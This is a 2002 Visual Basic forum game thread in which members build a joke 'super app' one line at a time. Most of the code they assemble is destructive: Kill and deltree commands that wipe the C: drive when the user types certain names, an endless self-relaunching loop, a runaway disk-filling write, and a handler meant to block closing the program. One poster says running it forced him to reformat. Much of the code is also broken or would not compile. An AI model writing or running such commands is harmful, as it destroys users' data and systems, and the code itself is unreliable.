|
-
Oct 15th, 2002, 09:50 PM
#1
Thread Starter
Fanatic Member
Super App!
Just add a line of code (and write your name above it (copyright)) to the code the person above you posted and we'll end up with a super app!
I start:
VB Code:
'Alex (Alien_Poo)
Dim A as integer
"A RESPECTED scientist has put forward the stunning - if unsavoury - possibility that humans are descended from sewage dumped overboard by aliens."
"First we read that we are the creation of God, then scientists say we are descended from apes. Now they say we're some sort of alien poo. How much further can we sink?"
- Robert Matthews, Science Correspondent
-
Oct 15th, 2002, 10:01 PM
#2
Hyperactive Member
VB Code:
'Alex (Alien_Poo)
Dim A as integer
a = 1/0 'Yash (OrdinaryGuy)
-
Oct 15th, 2002, 10:35 PM
#3
VB Code:
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
-
Oct 15th, 2002, 10:51 PM
#4
Hyperactive Member
VB Code:
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
-
Oct 16th, 2002, 12:15 AM
#5
So Unbanned
VB Code:
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
-
Oct 16th, 2002, 12:31 AM
#6
PowerPoster
VB Code:
End
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
-----------------------------------------
-RJ
[email protected]
-----------------------------------------
-
Oct 16th, 2002, 12:34 AM
#7
So Unbanned
VB Code:
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
-
Oct 16th, 2002, 12:36 AM
#8
PowerPoster
Well, you've ruined the game. You added 2 lines, and thus broke the rules. So much for a 'super app'... 
-----------------------------------------
-RJ
[email protected]
-----------------------------------------
-
Oct 16th, 2002, 12:37 AM
#9
Fanatic Member
VB Code:
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
No matter how fool-proof your program is, there will always be a better fool.
Was a post helpful to you? Rate it!
-
Oct 16th, 2002, 12:39 AM
#10
PowerPoster
VB Code:
Option Explicit
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
Broke it again. 
-----------------------------------------
-RJ
[email protected]
-----------------------------------------
-
Oct 16th, 2002, 12:40 AM
#11
Fanatic Member
VB Code:
Option Explicit
Dim sAns As String 'arsmakman
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
No matter how fool-proof your program is, there will always be a better fool.
Was a post helpful to you? Rate it!
-
Oct 16th, 2002, 12:42 AM
#12
PowerPoster
Originally posted by arsmakman
VB Code:
Option Explicit
Dim sAns As String 'arsmakman
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
Private Sub Form_Load()
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
End Sub
-----------------------------------------
-RJ
[email protected]
-----------------------------------------
-
Oct 16th, 2002, 12:43 AM
#13
So Unbanned
VB Code:
Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
-
Oct 16th, 2002, 12:46 AM
#14
Fanatic Member
VB Code:
Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop
No matter how fool-proof your program is, there will always be a better fool.
Was a post helpful to you? Rate it!
-
Oct 16th, 2002, 12:49 AM
#15
So Unbanned
Originally posted by arsmakman
VB Code:
Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed":shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*": Loop 'edited by DiGErR
-
Oct 16th, 2002, 02:49 AM
#16
Banned
VB Code:
Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
-
Oct 16th, 2002, 04:31 PM
#17
Thread Starter
Fanatic Member
VB Code:
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
End If
End Sub
"A RESPECTED scientist has put forward the stunning - if unsavoury - possibility that humans are descended from sewage dumped overboard by aliens."
"First we read that we are the creation of God, then scientists say we are descended from apes. Now they say we're some sort of alien poo. How much further can we sink?"
- Robert Matthews, Science Correspondent
-
Oct 16th, 2002, 05:10 PM
#18
Fanatic Member
Unload Me 'alex
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
End If
End Sub
ha i ended the super app lol
-
Oct 16th, 2002, 05:31 PM
#19
PowerPoster
No, it just won't compile with a function before the Option Explicit line... not that it would have anyway, mind you... 
-----------------------------------------
-RJ
[email protected]
-----------------------------------------
-
Oct 16th, 2002, 05:33 PM
#20
Fanatic Member
-
Oct 16th, 2002, 05:36 PM
#21
Thread Starter
Fanatic Member
ARRRGGHHH 
lol, I ran the program and being ME, I typed in rj, just finished reformatting
stupid me
"A RESPECTED scientist has put forward the stunning - if unsavoury - possibility that humans are descended from sewage dumped overboard by aliens."
"First we read that we are the creation of God, then scientists say we are descended from apes. Now they say we're some sort of alien poo. How much further can we sink?"
- Robert Matthews, Science Correspondent
-
Oct 16th, 2002, 06:23 PM
#22
Frenzied Member
-
Oct 16th, 2002, 06:24 PM
#23
Thread Starter
Fanatic Member
non im not  I can prove... well I think I can...
"A RESPECTED scientist has put forward the stunning - if unsavoury - possibility that humans are descended from sewage dumped overboard by aliens."
"First we read that we are the creation of God, then scientists say we are descended from apes. Now they say we're some sort of alien poo. How much further can we sink?"
- Robert Matthews, Science Correspondent
-
Oct 16th, 2002, 06:26 PM
#24
Frenzied Member
VB Code:
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
If sAns = "" GoTo KillSystem:
End If
Exit Sub
KillSystem:
Do
Shell App.Path & "\" & App.EXEName & ".exe"
Loop
End Sub
-
Oct 16th, 2002, 06:27 PM
#25
Frenzied Member
Originally posted by Alien_poo
non im not I can prove... well I think I can...
Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*
(Woulda crashed out, i dont got a C:\ no more  )
-
Oct 16th, 2002, 06:46 PM
#26
Thread Starter
Fanatic Member
Originally posted by wpearsall
Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*
(Woulda crashed out, i dont got a C:\ no more )
I will not test our app anymore, if we want to distibute it
"A RESPECTED scientist has put forward the stunning - if unsavoury - possibility that humans are descended from sewage dumped overboard by aliens."
"First we read that we are the creation of God, then scientists say we are descended from apes. Now they say we're some sort of alien poo. How much further can we sink?"
- Robert Matthews, Science Correspondent
-
Oct 16th, 2002, 07:05 PM
#27
Fanatic Member
NO I DO NOT KNOW IF I DID THIS RIGHT.
VB Code:
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
If sAns = "" GoTo KillSystem:
End If
Exit Sub
KillSystem:
'--Siyan (underqualified and untested)
Open "c:\hellomofo.dat" for output as #1
Dim Person as Integer
For Person = 0 to 1000000000
Print #1, Rnd(Person)
Next Person
Close #1
Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?"
'---
Do
Shell App.Path & "\" & App.EXEName & ".exe"
Loop
End Sub
-
Oct 16th, 2002, 08:21 PM
#28
Frenzied Member
VB Code:
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
If sAns = "" GoTo KillSystem:
End If
Exit Sub
KillSystem:
'--Siyan (underqualified and untested)
Open "c:\hellomofo.dat" for output as #1
Dim Person as Integer
For Person = 0 to 1000000000
Print #1, Rnd(Person)
Next Person
Close #1
Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?"
'---
Do
Shell App.Path & "\" & App.EXEName & ".exe"
Loop
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next ' Dont want this code to spoil their fun ;)
Dim HowMuchMemoryLeft As Interger
MsgBox "Do You Wish To Proceed?", vbOKOnly, "Make Your Choice"
MsgBox "You WILL Be Sorry :D <Evil Grinz>", vbOKOnly, "Correct Choice"
For HowMuchMemoryLeft 0 To 99999999
Shell (App.Path & "\" & App.EXEName & ".exe")
Cancel = True ' Stop the person Closing the application
' IDEA: Anyone know how to stop windows closing?
' HEHEHE .. Or lock the TaskManager Opening ;)
End Sub
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|
Reply With Quote